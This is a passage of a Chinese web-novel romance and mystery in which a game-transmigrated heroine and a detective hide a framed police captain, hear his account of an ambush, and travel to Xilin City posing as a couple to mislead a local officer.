“所以,”李砚川从他们的对话中把事情猜了个大概,小心翼翼地开口:“秦警官是遭什么人陷害了吗?”
祝好和秦聿风对视了一眼,苦涩地笑了一下:“可以这么说吧。”
李砚川没吭声,沉默了一会儿,又问:“有什么我能帮得上忙的地方吗?”
祝好一开始找到他,就是想问问他能不能给秦聿风找个暂时落脚的地方,但这时她又有些犹豫了,毕竟李砚川虽然有钱,但也只是个普通人,这件事比她想象中的要难应付,万一把他牵扯进来……
李砚川似乎看穿了她的心思:“好好,秦警官,你们不用替我担心,能帮的我会尽力而为,帮不了的我也不会逞强。”
既然他都已经这么说了,祝好也不跟他客气了,问道:“李砚川,除了那栋别墅,你名下还有其他房产吗?”
“有的,不多,淮江市内还有三四套吧。”他的语气波澜不惊,也没有任何炫耀的意思,就好像在阐述一件稀疏平常的事。
祝好:“……”
秦聿风:“……”
他对“不多”这个词是不是有什么误解?
祝好问:“那有没有稍微偏僻、入住率没那么高的地方?”
李砚川思考了一会儿:“我前两个月刚买了一套公寓,是个新开发的小区,环境很好,周围有山林和天然温泉,不过就是离市区太远了,交通不太方便。”
他的“不方便”,对现在的秦聿风来说就是最大的方便。
祝好厚着脸皮问他:“那你能不能……把那儿借给秦警官住几天?”
这请求实在有些过分,但她也想不到更好的办法了,毕竟李砚川是她在这个世界里唯一会爆金币的人脉。
李砚川想也没想就爽快地答应:“没问题,那个房子是精装修的,拎包就能入住。”
承蒙了好意的秦聿风看着有些局促,尴尬地抓了抓蓬乱的头发:“我就住两天,不会给你添麻烦的,等事情结束了我立刻搬走。”
李砚川倒是毫不在意,调转了车头的方向,对他们笑了笑:“没关系,你想住多久都可以,反
正房子空着也是空着,如果住得不舒服,可以换一套……”
常年作风简朴的秦警官被某位酒吧老板的豪爽做派震惊了,连忙摆手:“不用不用,有张床给我睡觉就行,我不挑。”
解决了一件事,车里沉重的气氛被冲散了一些,祝好也放松下来,刚往座椅上一靠,突然想起什么,又猛地坐直身子:“李砚川,现在几点了?”
李砚川低头看了仪表盘一眼:“十二点二十分。”
她倒吸了一口凉气:“你的手机能借我用一下吗?”
——刚才为了不暴露行踪,秦聿风特地嘱咐她先关机。
这时她突然想起来,万一程述回到家发现她“不知所踪”,电话还关机,肯定又得急疯了。
接过李砚川递过来的手机,她拨出了程述的号码。
刚一接通,听筒里就传来他极不耐烦的声音:“谁!”
“老大,是我。”
“你……”程述的声音听起来又气又急,“不是让你在警局里等我吗?”
“温主任说你还要聊很久,就先送我回家了……”祝好说:“我不是给你留言了吗?”
“那你回了家为什么不好好呆着,又去哪儿了……不对,这是谁的电话?”
祝好愣了一下:“李砚川。”
电话那头的程述沉默良久,半晌才咬牙切齿地憋出一句话:“祝好,你可真行。”
祝好:“……”
她不由得脑补了一出叛逆的女儿夜不归宿、私会情郎,老父亲痛心疾首、恨铁不成钢的戏码,向秦聿风投去求助的眼神。
秦聿风接过手机,下意识往窗外看了一眼。
车子驶离市区后,路上几乎已经没有行人和车辆了,黑漆漆的夜路只有这辆面包车在飞驰而行。
他压低声音,道:“老程,是我。”
“……”程述顿了一下,思绪终于续上弦:“秦聿风?你特么在哪儿!”
第95章
如李砚川所说,这个小区确实交通不便,面包车在蜿蜒又荒凉的山路上行驶了将近十分钟,前方的路才逐渐开阔起来,道路两旁是修整齐的桂花树,散发着怡人的花香。
“我已经预付了三年的水电费,水、电都可以正常使用。”等电梯的时候,李砚川向他们介绍:“这边的安保很不错,闲杂人等一般进不来,秦警官你放心住就好了。”
这一点祝好倒是认可,毕竟刚才小区门口的保安再三核对了李砚川的身份证和号码,看着那辆面包车还是一脸不可置信,又给物业总部打了电话确认,折腾了一番才边道歉边把他们请进来。
小区的入住率不高,只有零星几户人家亮着灯。祝好看着大堂光洁照人的大理石瓷砖上映出几人的身影,忍不住问:“李砚川,开酒吧真的能挣那么多钱吗?”
李砚川笑:“开酒吧只是我的爱好,每个月也就挣点零花钱吧。”
“那你怎么能买得起那么多房子啊?”
李砚川解释:“我爸是开建材公司的,在我名下挂了几家公司商铺,不过我对他那些生意不太感兴趣,几年前偶然接触了调酒,才开始经营酒吧。”
似乎是担心祝好把他当成那种不食肉糜的富二代,又急忙解释:“其实其他那几套房子我一点都不想要,是我爸妈硬要给我买的,我觉得钱还是得自己亲手挣的用得开心。”
这解释还不如不说呢,祝好感觉万箭穿心,有些后悔挑起这个话题了。偷偷瞅了秦聿风一眼,他果然也同样是一脸一言难尽的表情。
还好电梯很快就到了,这个自取其辱的话题才告一段落。
李砚川用指纹打开门,揿亮门边的灯,领着他们往屋里走。
“这里的床品都是新的,衣柜里有一两套换洗的衣服,秦警官你如果不嫌弃可以先换上。”
秦聿风苦笑:“能住那么好的地方我还嫌弃什么,我感觉自己就不是个在逃的‘嫌疑人’,而是来度假的。”
他脱下李砚川借他的那件呢子大衣,在明亮的灯光下,祝好才发现他里面那件打底的衬衫袖子上有些斑驳的血迹,心底咯噔一下,忙问:“秦警官,你这是怎么了?”
秦聿风没所谓地笑笑:“那天晚上被人划伤的,我离开西临市之前找小诊所包扎过了。”
“是谁?”
秦聿风摇摇头:“不知道,没看清……”
他话还没说完,门铃就被摁响了。
李砚川快步走到门前,从猫眼向外看了一眼,打开了门:“侦探先生。”
程述脸色不太好看,但还是象征性跟他点点头算是打招呼,然后直奔坐在沙发上的秦聿风:“老秦?”
秦聿风故作轻松地打趣:“哟,来那么快,想我了?”
程述没好气:“想看你死了没。”
秦聿风笑:“让你失望了,一时半会死不了,过来之前你关机了吧?”
“废话。”程述上下打量他,显然也发现了他袖子上的血迹,抱着双臂叹了口气:“到底发生什么了?”
秦聿风没吭声,朝李砚川的方向看了一眼。
祝好明白他的意思,把李砚川拉到角落里,低声问他:“李砚川,可以再请你帮个忙吗?”
“你说。”
祝好回头看了看秦聿风和程述,又转头对他说:“麻烦你去便利店给秦警官买点基础的日用品,还有一些处理伤口的药。”
李砚川不傻,也知道自己在场有些话他们不好放开说,便点头答应:“好。”
祝好把他送出门外,冲他笑了一下:“谢谢你啊,李砚川,今晚真的给你添了太多麻烦了。”
李砚川眼睛一弯,抬手将她鬓边的碎发捋到耳后:“别这么说,好好,能帮到你我很开心。”
送走李砚川,祝好关上门,看到秦聿风正和程述说着什么,应该没注意到李砚川刚才亲昵的举动,这才松了口气。
在乙游里想要一碗水端平还真是不简单。
李砚川离开后,屋里就剩下他们三个人。程述虽然来得急,但路上还是没忘记给秦聿风带了几瓶水和一些吃的。
秦聿风狼吞虎咽吃完两个汉堡,又咕咚咕咚喝了大半瓶水,才长吁了一口气,接着自嘲地笑了笑:“靠,我怎么跟个难民一样。”
程述一屁股坐在客厅中间那张大理石茶几上,朝他扬了扬下颌:“说说吧,到底什么事?”
*
秦聿风在西临市呆的那几天,表面上是参与调查,实际上一直在不动声色观察着警局内部的情况,确实也隐隐察觉出许多不寻常的地方。
特别是对于陈瑞泽和周逸这起案子,那边的警方永远是避重就轻的态度,而且刻意提防着他,他始终没办法接触到案件最核心的资料。
他总觉得这起案子背后牵扯的东西比自己想象中的复杂得多,却苦于找不到突破的口,直到那个中午,他接到了一个陌生的来电。
电话那头的人用的是变声器,先是问他是不是来自淮江市的警察,得到肯定答案后,约他晚上十一点在废弃工地见面。
秦聿风一开始并没有放在心上,只当是个无聊的骚扰电话,但跟祝好推测的一样,对面的人给出了一个他无法拒绝的条件。
他说,他有陈瑞泽被害案的重要线索要交给秦聿风。
程述忽然哼笑:“他这么说你就信了?”
秦聿风给了程述一个“你当我是傻x吗”的表情:“他准确地说出了孙彪他们挖出陈瑞泽尸体的地点。”
当时,秦聿风问他:“你是周逸吗?”
对面沉默良久,没有回答,而是直接把电话挂断了。
那天晚上,秦聿风想了很久,还是如约打了辆出租车来到工地门口。他按照那个电话回拨过去,却一直无人接听,只得先往工地里走。
工地很大,除了两三栋进行到浇筑混凝土阶段就停工的烂尾楼之外,到处都是沙堆和砖块。
他在里面转了一圈,没见到周逸的身影,就又拨了一次电话。
这回,他听到似乎有隐隐
约约的手机铃声从某栋楼的高处传来,循声往上看去,却什么也没看到。
电话被挂断了,他第三次拨了过去,同时试探性叫了声:“周逸?”
就在这时,他听到不远处的一堆乱石后面发出一声微弱的呻吟,连忙小跑过去查看,却见周逸仰面躺在地上,脸色惨白,后脑下的地面上已经洇了一大滩血。
他心一紧,下意识拿出手机想要打120,周逸却用最后的力气抓住的他的手。
秦聿风知道他的意思,他当时颅骨已经严重变形,整个人只剩最后一口气了,就算120能及时赶到,恐怕也无力回天。
于是秦聿风抓紧时间问他:“周逸,你要给我的线索呢?”
周逸看着他,刚张嘴就吐出一口鲜血,一个字也说不出来,只是用手指了指自己的左脸,然后眼神逐渐失焦,很快就咽了气。
听到这里,祝好不解:“指自己的脸?什么意思?”
秦聿风双眉紧拧:“不知道,我还没琢磨透,突然听到楼上传来动静,往上一看,就看到一个黑影一闪而过。”
当时来不及多想,秦聿风拔腿就追了上去。
那栋烂尾楼有二三十层,里面黑漆漆一片,秦聿风没办法判断那个黑影具体在哪层楼,只得打开随身携带的手电筒一层一层查看。走到某一层时,突然有一个黑影从柱子后闪出,紧接一个拳头迎面袭来。
秦聿风下意识闪身一躲,那人一拳擦着他的嘴角而过,顺势绕到他身后,用手肘卡住了他的脖子。
秦聿风很快反应过来,一咬牙,把右脚插进他两脚之间用力往前一勾。那人重心不稳,向后摔去,手臂的力道却丝毫不减,带着秦聿风在地上滚作一团。
“从身手上看,那家伙不是小打小闹的,也不像是警校里教的功夫,更像是……受过专业训练的雇佣兵。”
程述微微皱眉:“雇佣兵?”
秦聿风:“我也是后来复盘的,当时事情发生得太快,我根本没时间思考。”
不过看样子,那人也不恋战,或者说,他并不打算要秦聿风的命。
缠斗间,他突然从靴子里抽出一把匕首,往秦聿风的手臂上划了两刀,趁他吃痛的功夫,快速蹿到楼道护栏,毫不犹豫地纵身一跃。等秦聿风捂着滴血的伤口从地上爬起来时,已经不见了他的身影。
没了手电筒,秦聿风在黑黢黢的夜里寸步难行,正要打电话求助,手机却弹出一条信息,显示他的银行卡收到20万的汇款。
看到那个账户,他心一凛,立刻察觉到不对劲。
这些天他没办法接触到太多新线索,只好把之前那些卷宗翻来翻去看了无数遍,甚至快把里面的信息都背下来了。
而他看着屏幕上收到的那笔汇款,很快发觉转账的账户跟周逸雇佣孙彪时,给他转定金的账户一模一样。
一瞬间,秦聿风脊背发凉,后知后觉自己已经掉入了某个陷阱:“周逸明明死在我面前,我到楼下时甚至还检查了一遍他的尸体,他早就没了呼吸,又怎么能给我转账呢?这明显是个早就挖好的坑,就等着我往里跳。”
没错,这是个早就挖好的坑,只要有人发现周逸的尸体,加上他手机里的通话记录和转账记录,很快就能把“收受贿赂、杀人灭口”这口黑锅扣到秦聿风头上。
意识到这一点,秦聿风没有迟疑。
他先是找了家黑诊所,花光身上的现金请医生帮他简单包扎了伤口,并嘱咐他不要把这件事说出去,然后趁着夜色赶到高速路口,趁着司机休息的当儿爬上一辆挂着淮江市车牌的运货车,一路躲藏,终于在第二天傍晚回到了淮江市。
第96章
祝好有些疑惑:“秦警官,为什么你不能回警局跟他们解释清楚呢?”
且不说西临市警方是不是真的有问题,淮江市的警方肯定是向着秦聿风的,特别是在得知真相之后,更不可能不帮他。
程述摇头叹息:“没那么简单,事情是在西临市发生的,按照规定也必须在那儿接受调查,就算是刑警队长,也轮不到淮江市插手。”
秦聿风也接过话茬:“只要我一天不离开西临市,他们就随时有机会对我下手。而且在他们的地盘上,给我泼脏水可简单多了。”
这么一说,祝好也觉得自己刚才的想法过于天真了。
短短两三天时间内,制定出既能杀死周逸这个知道内幕的“嫌疑人”,又能让秦聿风不再参与调查、甚至可以将周逸的死归咎到他身上这样一箭三雕的计划并完成实施,除了警方之外,必定还需要其他势力的配合。
也就是说,他们这回面对的或许是一个庞大的犯罪组织。
祝好有些头疼,这破游戏,怎么系统给出的任务难度一下子跨度那么大?
不过再难的案子,也得着眼于当下,一步一步来。
她想了想,问道:“所以说,秦警官接到那个电话到底是不是周逸打的?”
秦聿风迟疑了一下:“电话对面的人用了变声器,我也有些拿不准。”
程述似乎想到了什么,眉心皱了皱:“我觉得电话真的是他打的。”
他解释:“从监控上看,周逸走进工地时并没有被人胁迫的样子,也没有其他人随行,所以我更倾向于,他是真的有东西要交给你。”
祝好也想起白天在警局看的监控里,周逸确实是只身一人进了废弃工地,而且他看起来很谨慎,不时左顾右盼,如果被人跟踪,他一定能很快察觉。
她反应过来:“你的意思是,有人提前得知了周逸的行踪,提前藏在楼上埋伏周逸,抢走了他的手机和那个重要线索,又将他推下楼?”
正因如此,秦聿风给周逸打电话时,才会听到手机铃声从楼上传来,因为当时他的手机已经在那个人手里了。
祝好有些失落:“可如果这样,唯一的证据不就没了吗?”
“西临市的警方或许只是一顶保护伞,我根本不知道真正的势力埋根在哪儿。”秦聿风眸光一暗,长叹了一声:“怪我太大意了,一心想着赶紧找出证据,居然没想到他们会来这么一出。”
程述扬起嘴角,语气讥诮:“谁让你硬要趟这趟浑水呢?当时好好在淮江市呆着不就什么事也没有了?”
祝好很想给他翻个白眼,都什么时候了,还有心情说风凉话。
秦聿风倒是没生气,只是看着他笑了笑,没头没脑问道:“局长都找你聊什么了?”
程述嗤笑:“你都在逃嫌犯了,还操心这个呢?”
秦聿风:“他是不是苦口婆心劝你不要插手这件事?”
“嗯。”程述伸了个懒腰:“这老家伙还是那么啰嗦。”
“那你答应了吗?”
程述沉默了一会儿,说:“……没有。”
祝好诧异地瞅了他一眼。
秦聿风一脸“我就知道”,同时又面露担忧:“说真的,老程,你听他一回。西临市的水太深、太浑了,我一个在职的警察都能被他们算计,你……”
程述打断他:“我不去,你当一辈子的逃犯吗?”
秦聿风喉头一窒,没说完的话登时卡在了嗓子眼里。
他目光微微闪烁,过了好一会儿,也学着程述的样子,露出一个掺着揶揄的笑:“你说你,明明不关你的事,你怎么非得趟这趟浑水呢?”
“大概是闲得无聊吧,反正不是为了帮你。”程述的声音懒洋洋的,让人分不清他究竟是玩笑还是认真:“就是因为我只是个编外人员,他们才不会拿我当回事。不然你想想,你一队长都能被他们弄得那么狼狈,换其他人去会是什么结果?”
秦聿风一时哑然,半晌才揉了揉发涩的眉心,忽然笑出声来:“谢了啊。”
程述冷不丁打了个寒战,摩挲着胳膊嫌弃地斜他一眼:“……你真恶心。”
门铃被按响 ,祝好去开了门,看到李砚川提着一袋东西站在门口,小心翼翼地问:“好好,我可以进去了吗?”
祝好忍不住逗他:“这么客气啊,我还以为这是你家呢。”
“我怕耽误你们谈正事了。”李砚川笑了笑,走进屋里,把东西放在茶几上:“秦警官,我给你买了一些日用品,还有双氧水、碘伏和纱布。”
秦聿风向来不喜欢欠人情,一晚上接受了太多好意,他显得有些拘谨:“谢了,李老板,等事情结束之后,我会把钱转你的。”
“不用客气。”李砚川突然想到什么,又掏出一部手机递给他:“对了,这手机你可以留着,方便和好好或者侦探先生联系。”
像是怕他不肯接受,又补充了一句:“这是我闲置的手机,你随便用。”
秦聿风点点头,接过手机,拍了拍他的肩膀。
洗漱用品都齐全了,程述让秦聿风先去洗了个澡,然后替他处理了手臂上的伤口,做完这些,已经接近凌晨两点钟了。
秦聿风一天一夜没睡,精神一直处于紧绷状态,洗了个热水澡、稍稍放松下来之后,开始打起盹来。祝好见状提议先回去,让他好好休息。
临走时,秦聿风还是不放心,叮嘱程述:“老程,你当心点。”
程述不耐烦地朝他挥了挥手:“别啰嗦了,你就安心在这皇宫里养着吧。”
*
回到家里,祝好洗了个澡,换上睡衣从卫生间出来时,程述正坐在沙发上给没吃到罐头而生闷气的白眼狼梳毛。
她边用毛巾擦拭头发上的水,边在沙发另一头坐下来,问道:“老大,你真的要去西临市吗?”
“嗯。”
“什么时候去?”
“过两天吧,我还得做些准备。”
祝好说:“我跟你一起去。”
程述抬眼看她:“你去干什么?”
祝好呛了一下,又不能告诉他自己要想办法多搜集资料和证据,好完成这次的剧情任务,只好随口答道:“你总不能一个人去吧?带其他警员去,人家还不一定配合你,我就不一样了,我可是你的助理。我们合作过那么多次,好歹算是有点默契,对吧?”
程述睨她一眼,阴阳怪气:“原来你还记得你是我助理啊?回回都擅自行动,我还以为你早就把我这个老板给开除了。”
“诶,你这个人!”祝好气得想拿毛巾抽他,“一个大男人怎么那么记仇呢?就这么说定了,我也去!”
他低低地笑了一下,却没有马上答应,只是说了句:“我再想想。”
*
第二天一大早程述就出门了,只说了去办事,晚点会回来。祝好一开始还担心他是不想带着自己去西临市、打算一个人偷跑,好在他离开时是空着手的,什么行李也没收拾,她这才松了口气。
去西临市之前能做些什么呢?祝好想了想,觉得还是需要多攒点积分。
毕竟是跟着程述出行,身边一个可攻略对象都没有,万一半途碰到什么特殊情况、积分又用完了,到时候才是叫天天不应、叫地地不灵。
她在楼下的快餐店打包了两份快餐,又买了些水和泡面,去了秦聿风借住的那个小区。
到了门口摁响门铃,里面却没有任何动静,她心生疑窦,刚要给秦聿风打电话,就听到门锁转动的声音。
“秦警官。”
秦聿风“嘘”了一声,飞快地把她拉进屋里,警惕地朝外面瞟了一眼,又飞快地把门反锁了。
屋子里窗帘拉得紧紧的,透不进一丝光亮。
祝好摁下墙上的开关,打开了客厅的灯,才对他说:“放心吧,西临市的人应该不知道你已经回到这儿了,而且我已经关了机,来的路上也转了几趟公车,没发现有人跟着。”
秦聿风不好意思地挠了挠头:“不好意思啊,职业习惯,有点草木皆兵了。老程呢?已经出发了吗?”
“没呢,他说要准备两天。”祝好看他眼睛下面两个乌黑的眼圈和一脸的疲态,问他:“昨晚你没睡好吗?”
秦聿风也不遮掩:“是啊,一直在做噩梦。”
“是住得不习惯吗?”
“不是,就是平时忙惯了,突然闲下来,还有点不适应,不知道要干什么好。一闲下来,就免不了开始胡思乱想。”
他在沙发上坐下,嘴角扯起一个半酸不苦的笑:“难怪平时我抓到那些东躲西藏很多年的犯人时,他们很少反抗,反而如释重负。现在换我自己变成‘逃犯’,居然能理解他们的感受了。”
祝好心里有些不是滋味,一时又不知道该怎么安慰他,只好岔开话题:“秦警官,你为什么会选择当警察啊?”
秦聿风是她进入游戏里遇到的第一个可攻略对象,他给祝好的印象一直都是正直、靠谱又随和。由于工作太过繁忙,像这样与他单独相处的机会可以说是少之又少,所以祝好决定趁现在多跟他聊聊天,加深对他的了解。
秦聿风一愣:“你突然这么一问,我还真不知道为什么。也许是因为我爸爸妈妈都是警察,我爷爷也是警察,生在这样的家庭里,我好像除了警察也没法干别的。”
祝好问:“那你喜欢这个职业吗?”
秦聿风顺着她的话很认真地思考了一会儿:“我也说不上来。说不喜欢吧,亲手把坏人送进监狱的感觉确实挺爽的,说喜欢吧,好像也没多喜欢,只是这么多年了,这份工作对我而言已经成为了一种强大的惯性。”
他拧开一瓶水递给祝好,接着道:“说实话,有时候我还挺羡慕老程的。”
祝好不解:“程述?他有什么好羡慕的?”
羡慕他冷漠又毒舌,还是羡慕他自恋、脸皮厚?
秦聿风被她逗笑:“老程这个人吧,特立独行、随心所欲,完全不在乎别人的看法。你以为他是做事不计后果,其实他内心比谁都通透,只是平时懒得表达而已。”
他脸上笑意渐黯:“不像我,做事瞻前顾后,犹豫不决,总是要考虑很多,却还频频出错。就拿这回的事来说吧,我觉得自己考虑得很周到了,没想到最终还是被人算计。”
不知是不是本来情绪就低落,他低垂的眸子仿佛覆上了一层阴郁的雾霾。
祝好轻轻拍了拍他的肩膀:“秦警官,你别这么想自己,年纪轻轻就能当上刑警队长,说明你实力本来就不一般。”
秦聿风闻言,忽然自嘲地笑了一下:“我不是跟你说过吗,如果老程还在警局,这个队长还真轮不到我来当。”
“在警校时,他所有课程分数都比我高,格斗赛也是年年拿第一,后来毕业进了警局,局长对他十分赏识,他要辞职离开时,局长还劝了他很久。”
本来是想着要多了解了解秦聿风的,怎么不知不觉变成了“程述研讨大会”?
祝好把话题扯回来:“才不是呢,我觉得你比他更适合当警察,也更适合当这个队长。”
这几天大起大落的情绪已经严重消耗了秦聿风的意志,他只当祝好是在安慰自己,并没有当真:“是吗?”
祝好看着他的眼睛:“我是认真的,老大这个人吧,虽然有能力,但是冷漠又自我,喜欢单打独斗。可是作为队长,不仅需要领导力、决策力、良好的沟通能力,还需要号召力和协调能力,这些你哪一点不比他强?”
她摆出一副知心姐姐的姿态:“你可以肯定他的优秀,但也不能贬低自己呀。”
秦聿风笑着点了点头:“谢谢你,祝小姐,陪我聊了那么多,我心情好多了。”
话虽如此,但他的表情看起来丝毫没有“好多了”的意思。
祝好正色道:“秦警官,我觉得你给自己的压力太大了,你应该给自己放个假。”
秦聿风苦笑了一下:“我现在不就是在放假么?”
祝好摇头:“不是这种人在休息、心里还要挂记着案子的假,是抛下工作、身心彻底放松的假。”
秦聿风愣了一下:“除了工作,我都不知道自己还能干些什么。”
祝好想了想:“这样吧,等案子结束,我跟你出去玩一天,怎么样?”
“玩什么?”
“就像普通人的假期一样,看看电影、逛逛小吃街、去游乐园坐过山车和摩天轮,晚上再看场烟花。”
秦聿风转过头看了她一会儿,眼角弯出了一个弧度,终于露出了这一天下来难得一见的、发自内心的笑容:“好。”
祝好暗暗吁了口气:这个知心姐姐当得可真累。
下一秒,系统传出提示音:“与秦聿风的好感度+10,获得100积分。”
祝好:这个知心姐姐当得可真值。
第97章
正式启程前往西临市是在两天以后,程述虽然口头上没有答应祝好一同前往的要求,但看到她兴冲冲地收拾行李时也没说什么,祝好就当他是默认了。
白眼狼被暂时托付给了李砚川,李砚川来接它时,它死死扒住祝好的衣服,一副依依不舍的模样,死活不肯进航空箱里。
看来它也不是那么白眼狼,这么多猫粮没白喂。
祝好的感动在李砚川从口袋掏出一包进口零食的那一刻戛然而止,撕开包装的声音刚一响起,白眼狼立马毫不留恋地从她怀里蹿出来。
心满意足地享用完零食后,头也不回地进了航空箱,无论祝好怎么叫它,它都不愿搭理了。
程述在一旁贱兮兮地解说:“你要是早点把零食拿出来,它就不用演那么久了。”
祝好:“……”
真是个白眼狼!
祝好把李砚川送下楼,看着他把白眼狼的航空箱放在他副驾驶自动加热的真皮座椅上,还细心地把安全带给系上了。
“好好,你放心去吧,我会照顾好白眼狼的。”
祝好趴在车窗边,忍不住笑出声:“这话怎么说得跟我要去赴死似的?”
李砚川一愣,随机慌忙地摆手:“不是不是,我没那个意思,我是说……”
祝好打断他:“我开玩笑的。白眼狼就交给你了,如果它挠坏你家的真皮沙发,就让侦探先生赔钱。”
“挠坏了也没事,掉点儿皮又不是不能用。”
李砚川顿了顿,抬起那双好看的眼睛,琥珀色的眸子一瞬不瞬地注视着祝好:“好好,你一定要平安回来。”
虽然祝好没告诉过他自己去西临市是要干什么,他也没有追问过,不过从秦聿风现在的境遇,他应该也能略猜出一二。
祝好不太习惯这样的近距离的对视,站直身子时,顺势移开了目光,欲盖弥彰地清了清嗓:“放心吧,只是普通的出差而已,回来给你带伴手礼。”
*
从淮江市到西临市有六百多公里,动车只需要三个半小时就能到达。
车即将到站时,程述突然说了句:“待会儿我们可能要演场戏。”
“演戏?演什么戏?”
祝好倏尔一愣,无端有些紧张:既然要演戏,难道不需要先对台词吗?临场发挥算什么回事?
程述把太阳镜架在鼻梁上,嘴角弯了弯:“计划赶不上变化,临场发挥的反应才更真实,考验我们默契的时候到了。”
刚走出站台,祝好一眼就看到人群中有个穿着警局制服的年轻男人在伸头张望。
他们这回也是打着淮江市警局的名义来配合调查秦聿风“畏罪潜逃”的案子,即便西临市警方万分不乐意,面子工程还是要做到位。这个年轻男人,想来应该就是警局派来接应他们的人。
程述突然张开手臂,一把搂住了祝好的肩膀,没等她反应过来,就带着她往那个警员的方向走去。
警员也认出了他们,满脸堆着笑迎上来:“程警官是吧?我是负责接待你们的警员,我姓苟,名辉,你们可以叫我……”
程述把太阳镜往上一推,顺着他的话音道:“小苟?”
苟辉尴尬地笑了笑:“叫小辉也行。”
程述点点头,再次发挥了他那装聋作哑的本事:“小苟,辛苦你了。”
苟辉点点头,眼神不经意打量着祝好。
程述像是想到了什么,指着祝好说道:“差点忘了介绍,这是我的助手,祝好。”
祝好偏头看了看他搭在自己肩上的胳膊,一时没弄懂他是什么意思,但猜到他一定有自己的打算,也配合地朝着苟辉笑了笑。
苟辉约莫二十五六岁的年纪,个子不高,圆脸、微胖,戴着一副黑框眼镜,看着憨厚老实,实际上镜片后那双微眯的眼睛里透着精明。
他跟祝好打了声招呼,殷勤地接过程述手里的行李,领着他们往车站的停车场走。
到了车子旁,苟辉替他们把行李放到了后备箱,程述则是十分自然地拉着祝好坐在后座上。
车辆缓缓起步,刚开出车站没多远,祝好就看到苟辉从后视镜里看了他们好几眼,一不小心对上了她的视线,愣了一下,露出一个谄媚的笑容:“程警官……”
“不用叫我程警官,我只是个挂名的顾问而已。”程述一副无所谓的态度,“我来之前,你们应该查过我的资料了吧?”
苟辉不置可否:“那叫你程先生?”
“都行,随便吧。”
后座位置明明很宽敞,可程述偏要挨着祝好坐,时不时还贴着她耳边说两句话,在旁人看来,两人俨然一对热恋中的情侣。
苟辉开了一段路,几次想说些什么,但都找不到机会,最后终于在一个亮起红灯的路口前挑起了话头:“程先生,这回这个案子,挺麻烦的哈?”
程述抬起头,“嗯?”了一声,恍然道:“哦,你说秦队的案子啊?”
“是啊。”苟辉叹了口气:“唉,我们也不敢相信这件事会是秦队做的,但是你也知道,太多证据都指向他。你们淮江市那边,应该也很头疼吧。”
他的话看似客套,实则句句在打探淮江市警局对这件事的态度。
程述漫不经心地点点头:“是挺头疼的,他毕竟是个刑警队长,做出这样的事对局里的影响挺大的。对了,你们查到他的消息了吗?”
苟辉道:“还没有呢,从废弃工地出来那一段路只有一个监控,其他监控要么坏了,要么没通电,不过我们会尽可能寻找目击证人。”
祝好暗暗松了口气,看来他们并不知道秦聿风已经回到淮江市了。
程述面无表情地“嗯”了一声,似乎对这件事的关心点到为止,继续搂着祝好看窗外的风景,又突然想到什么,问道:“对了,小苟,我还是第一次来西临市呢,你们这儿有什么推荐的景点吗?”
听到他这个风牛马不相及的问题,祝好不由得有些疑惑,同样疑惑的还有苟辉。
“程先生,你……不是来调查案子吗?”
程述说:“工作是工作,也不妨碍我带我的助手出去转转吧?”
苟辉干笑一声:“那是,晚点我整理好几个值得一去的景点发给你。”
很显然,程述这样的态度跟苟辉——或者说西临市警方的猜测大相径庭,苟辉忍不住没话找话:“程先生,我听说你跟秦警官好像关系很好啊?”
程述耸了耸肩:“一般吧。”
“你们不是同一个警校毕业的吗?我听说在你辞职之前,你们还是搭档呢。”
看来程述说得没错,他们的确把他的背景和资料都调查得一清二楚。
程述:“认识很多年,不代表关系很好吧?”
苟辉倏尔一愣,不自然地笑了笑:“关系一般,你还愿意大老远跑来调查他的案子,说明你是个很重情义的人。”
程述像是听到什么很好笑的事,“噗嗤”笑出声:“谢谢夸奖,我还是第一回得到这个评价,怪稀奇的。”
顿了顿,他终于敛起闲散的态度,正色道:“这回的确是局长点名要我来的,你知道为什么吗?”
苟辉身形一顿,问:“
为什么?”
程述笑道:“因为其他人都不肯来。”
苟辉疑惑:“不肯?我听说秦队在警局里人缘挺好的啊。”
程述“嗐”了一声:“表面上看起来好而已,其实……”
说到这儿,他刻意压低了声音:“其实他这个人吧,表里不一,警局里看他不顺眼的人多了去了。而且刑警队长这个位置可是个香饽饽,不知道有多少人巴不得他最好别回去了。所以局长说要派人来你们这儿调查的时候,根本没人愿意,不然你以为我一个编外人员怎么会有资格参与这种案子?”
祝好心头微动,陡然间明白了他的用意。
从下车那一刻,他就表现出一副事不关己的态度,并且有意无意地向苟辉传达出淮江市警局对这件事并不是十分上心、他来这儿也只是为了完成任务走个过场这一信息。
而他的态度,这也正好顺了西临市警方的意——毕竟能不能找到秦聿风对他们来说根本不重要,他最好永远都不出现,这样就能把黑锅死死扣在他头上了。
只有这边的警方放松对他们的警惕,他们才能找到机会留在这儿、继续深入调查。
苟辉看似精明,其实并没有什么勾心斗角的经验,被他几句话说得一愣一愣的,许久都没有接茬,也不知道是不是还在消化这些信息、准备向上头汇报。
程述突然开口:“小苟。”
苟辉回过神来:“嗯?”
“我们现在去哪儿?”
“局里给你们安排了招待所,就在警局对面。”
程述闻言,面露不悦:“招待所?”
苟辉误以为他是对环境不满意,连忙解释:“招待所是我来的那年才新建的,里面的装修还挺新,我爸妈从老家来看我的时候也住那儿。”
程述没吭声,过了一会儿才问:“诶,小苟,你们这儿有没有什么特色酒店?”
苟辉一下子没反应过来:“啊?什么特色酒店?”
“就是那种……你懂的,”程述上半身向前倾,压低声音,神秘兮兮地说:“刺激点的,适合情侣住的酒店,价格高一点也没关系。”
祝好:“?”
苟辉更是浑身一激灵,差点把车开到马路牙子上。
他回过神来,把正了方向盘,干笑一声:“我、我也不知道啊。”
程述满脸失望:“算了,那我自己查吧。”
说完掏出手机划拉了一下,然后递给祝好:“你看这家怎么样?看起来比我们在淮江市常去的那几家都好。”
“……”祝好扫了屏幕一眼,嘴角抽了抽,用眼神问他:“你在搞什么飞机?”
“你也喜欢吗?那就定这家吧。”程述自问自答,面不改色地把手机屏幕伸到驾驶座旁:“小苟,麻烦下个路口右拐,送我们去这个……‘绯梦阁’。”
苟辉一再按捺、欲言又止,最后还是忍不住再三确认:“你们真的不住招待所吗?”
“招待所都是双人床,多没意思,好不容易出来一趟,还有警局报销,当然要住得舒服点儿。”程述靠回座位上,一把揽住祝好的脖子,让她把头靠在自己的颈窝里:“你说是吧,宝贝儿?”
祝好:“……”
她觉得自己浑身僵硬得像一块钢板,内心不停告诉自己:演戏,这都是在演戏,然后十分勉强地挤出一个笑容:“呵呵,是啊。”
苟辉当着他们的面不好说什么,内心估计已经连骂了好几十个“卧槽”,从后视镜里看了他俩一眼后,默默调转了方向。
第98章
